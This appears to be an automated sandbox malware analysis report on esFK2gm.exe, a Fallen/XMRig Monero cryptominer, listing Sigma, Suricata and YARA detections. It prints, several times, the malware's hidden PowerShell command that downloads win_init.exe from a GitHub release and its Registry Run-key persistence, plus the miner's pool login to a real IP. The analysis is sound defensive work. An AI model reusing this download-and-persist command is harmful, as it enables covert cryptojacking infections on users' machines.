Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: cmd /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\esFK2gm.exe, ProcessId: 6424, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1820, TargetFilename: C:\Users\user\AppData\Roaming\win_init.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ProcessId: 7092, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ProcessId: 7092, ProcessName: cmd.exe

Sigma detected: Suspicious Powershell In Registry Run Keys

Source: Registry Key set

Author: frack113, Florian Roth (Nextron Systems): Data: Details: cmd /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\esFK2gm.exe, ProcessId: 6424, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ProcessId: 7092, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7092, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ProcessId: 1820, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2448, ProcessName: svchost.exe

Suricata Signatures

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-08T16:01:07.839379+0100	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.7	49691	45.144.212.77	3333	TCP

Joe Security ANOMALY Windows PowerShell HTTP PE File Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-08T16:01:43.994336+0100	1810003	2	Potentially Bad Traffic	185.199.108.133	443	192.168.2.7	49692	TCP
2025-03-08T16:02:01.222347+0100	1810003	2	Potentially Bad Traffic	185.199.108.133	443	192.168.2.7	49700	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-08T16:01:41.315354+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49690	140.82.121.3	443	TCP
2025-03-08T16:01:43.984518+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49692	185.199.108.133	443	TCP
2025-03-08T16:01:57.315071+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49697	140.82.121.3	443	TCP
2025-03-08T16:02:01.209141+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	185.199.108.133	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\win_init.exe

ReversingLabs: Detection: 23%

Multi AV Scanner detection for submitted file

Source: esFK2gm.exe	Virustotal: Detection: 22%			Perma Link
Source: esFK2gm.exe	ReversingLabs: Detection: 23%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Bitcoin Miner

Yara detected Fallen Miner

Source: Yara match	File source: esFK2gm.exe, type: SAMPLE
Source: Yara match	File source: 33.2.win_init.exe.a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.win_init.exe.a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.esFK2gm.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.win_init.exe.a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.esFK2gm.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: esFK2gm.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: win_init.exe PID: 916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: win_init.exe PID: 6092, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\win_init.exe, type: DROPPED

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 30.2.win_init.exe.c000160000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.c00015e000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.c00005c400.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.esFK2gm.exe.c000a90000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.c0009f0000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.c00015c000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.c00015e000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.c00015a000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.win_init.exe.c000160000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.win_init.exe.c000a8a000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2135744163.000000C000400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2131272483.000000C0002B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1619147975.000000C00015E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1805169349.000000C000C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1621539104.000000C000C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2131272483.000000C00014A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: esFK2gm.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notepad.exe PID: 7076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: win_init.exe PID: 916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: win_init.exe PID: 6092, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.7:49691 -> 45.144.212.77:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"494k9wqkjkfgdod9mfnacjedcrhmmmnjtuun8ryfryyphyohmjf5sesh79uom8vfogyevyzthg86r5btgyzxmhentzkajl3","pass":"x","agent":"xmrig/6.22.2 (windows nt 10.0; win64; x64) libuv/1.49.2 msvc/2022","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/yada","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: esFK2gm.exe, 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: esFK2gm.exe, 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: esFK2gm.exe, 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: esFK2gm.exe, 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: esFK2gm.exe, 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: esFK2gm.exe, 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: XMRig 6.22.2

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.7:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.7:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.7:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.7:49700 version: TLS 1.2

Source: esFK2gm.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\notepad.exe

Network Connect: 45.144.212.77 3333

Source: esFK2gm.exe, 00000000.00000002.2128334068.0000000000C3B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: m=nil base netdnsdomaingophertelnetreturn.local.onionip+netCommonX25519%w%.0wAcceptServerRGBA64Gray16BitBltEndDocLineToSaveDCMulDivrdtscppopcntcmd/goheaderAnswerLengthsecretSTREETavx512rdrandrdseedAppDataRoamingcmd.exedwm.exefloat32float64abortedCopySidFreeSidSleepExWSARecvWSASendconnectsignal number UpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTTuesdayJanuaryOctoberMUI_StdMUI_DltconsolePATHEXT19531259765625invaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil
Source: win_init.exe, 0000001E.00000002.1608376264.000000000034B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: m=nil base netdnsdomaingophertelnetreturn.local.onionip+netCommonX25519%w%.0wAcceptServerRGBA64Gray16BitBltEndDocLineToSaveDCMulDivrdtscppopcntcmd/goheaderAnswerLengthsecretSTREETavx512rdrandrdseedAppDataRoamingcmd.exedwm.exefloat32float64abortedCopySidFreeSidSleepExWSARecvWSASendconnectsignal number UpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTTuesdayJanuaryOctoberMUI_StdMUI_DltconsolePATHEXT19531259765625invaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil
Source: win_init.exe, 00000021.00000000.1666477319.000000000034B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: m=nil base netdnsdomaingophertelnetreturn.local.onionip+netCommonX25519%w%.0wAcceptServerRGBA64Gray16BitBltEndDocLineToSaveDCMulDivrdtscppopcntcmd/goheaderAnswerLengthsecretSTREETavx512rdrandrdseedAppDataRoamingcmd.exedwm.exefloat32float64abortedCopySidFreeSidSleepExWSARecvWSASendconnectsignal number UpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTTuesdayJanuaryOctoberMUI_StdMUI_DltconsolePATHEXT19531259765625invaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil
Source: esFK2gm.exe	String found in binary or memory: m=nil base netdnsdomaingophertelnetreturn.local.onionip+netCommonX25519%w%.0wAcceptServerRGBA64Gray16BitBltEndDocLineToSaveDCMulDivrdtscppopcntcmd/goheaderAnswerLengthsecretSTREETavx512rdrandrdseedAppDataRoamingcmd.exedwm.exefloat32float64abortedCopySidFreeSidSleepExWSARecvWSASendconnectsignal number UpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTTuesdayJanuaryOctoberMUI_StdMUI_DltconsolePATHEXT19531259765625invaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil
Source: win_init.exe.5.dr	String found in binary or memory: m=nil base netdnsdomaingophertelnetreturn.local.onionip+netCommonX25519%w%.0wAcceptServerRGBA64Gray16BitBltEndDocLineToSaveDCMulDivrdtscppopcntcmd/goheaderAnswerLengthsecretSTREETavx512rdrandrdseedAppDataRoamingcmd.exedwm.exefloat32float64abortedCopySidFreeSidSleepExWSARecvWSASendconnectsignal number UpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTTuesdayJanuaryOctoberMUI_StdMUI_DltconsolePATHEXT19531259765625invaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3

Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.7:49691 -> 45.144.212.77:3333
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49692 -> 185.199.108.133:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49690 -> 140.82.121.3:443
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 185.199.108.133:443 -> 192.168.2.7:49692
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49697 -> 140.82.121.3:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 185.199.108.133:443
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 185.199.108.133:443 -> 192.168.2.7:49700

Source: global traffic	HTTP traffic detected: GET /letzchipman7/fallen/releases/download/v1.0.0/win_init.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/941574414/b85117f6-f40e-4d84-a04c-3aa968aaa835?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250308%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250308T150112Z&X-Amz-Expires=300&X-Amz-Signature=2f50835d107e60196aeecf6b023e020f551313dafca893d142bfa1470b05bf57&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dwin_init.exe&response-content-type=application%2Foctet-stream HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /letzchipman7/fallen/releases/download/v1.0.0/win_init.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/941574414/b85117f6-f40e-4d84-a04c-3aa968aaa835?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250308%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250308T150112Z&X-Amz-Expires=300&X-Amz-Signature=2f50835d107e60196aeecf6b023e020f551313dafca893d142bfa1470b05bf57&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dwin_init.exe&response-content-type=application%2Foctet-stream HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: objects.githubusercontent.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.212.77
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: sslproxydump.pcap, type: PCAP	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0.2.esFK2gm.exe.c000a90000.3.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0.2.esFK2gm.exe.c000a90000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0.2.esFK2gm.exe.c000a90000.3.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 30.2.win_init.exe.c0009f0000.13.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 30.2.win_init.exe.c0009f0000.13.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 30.2.win_init.exe.c0009f0000.13.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 33.2.win_init.exe.c000a8a000.14.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 33.2.win_init.exe.c000a8a000.14.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 33.2.win_init.exe.c000a8a000.14.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000000.00000002.2135744163.000000C000400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000021.00000002.1805169349.000000C000C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000001E.00000002.1621539104.000000C000C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: esFK2gm.exe PID: 6424, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: win_init.exe PID: 916, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
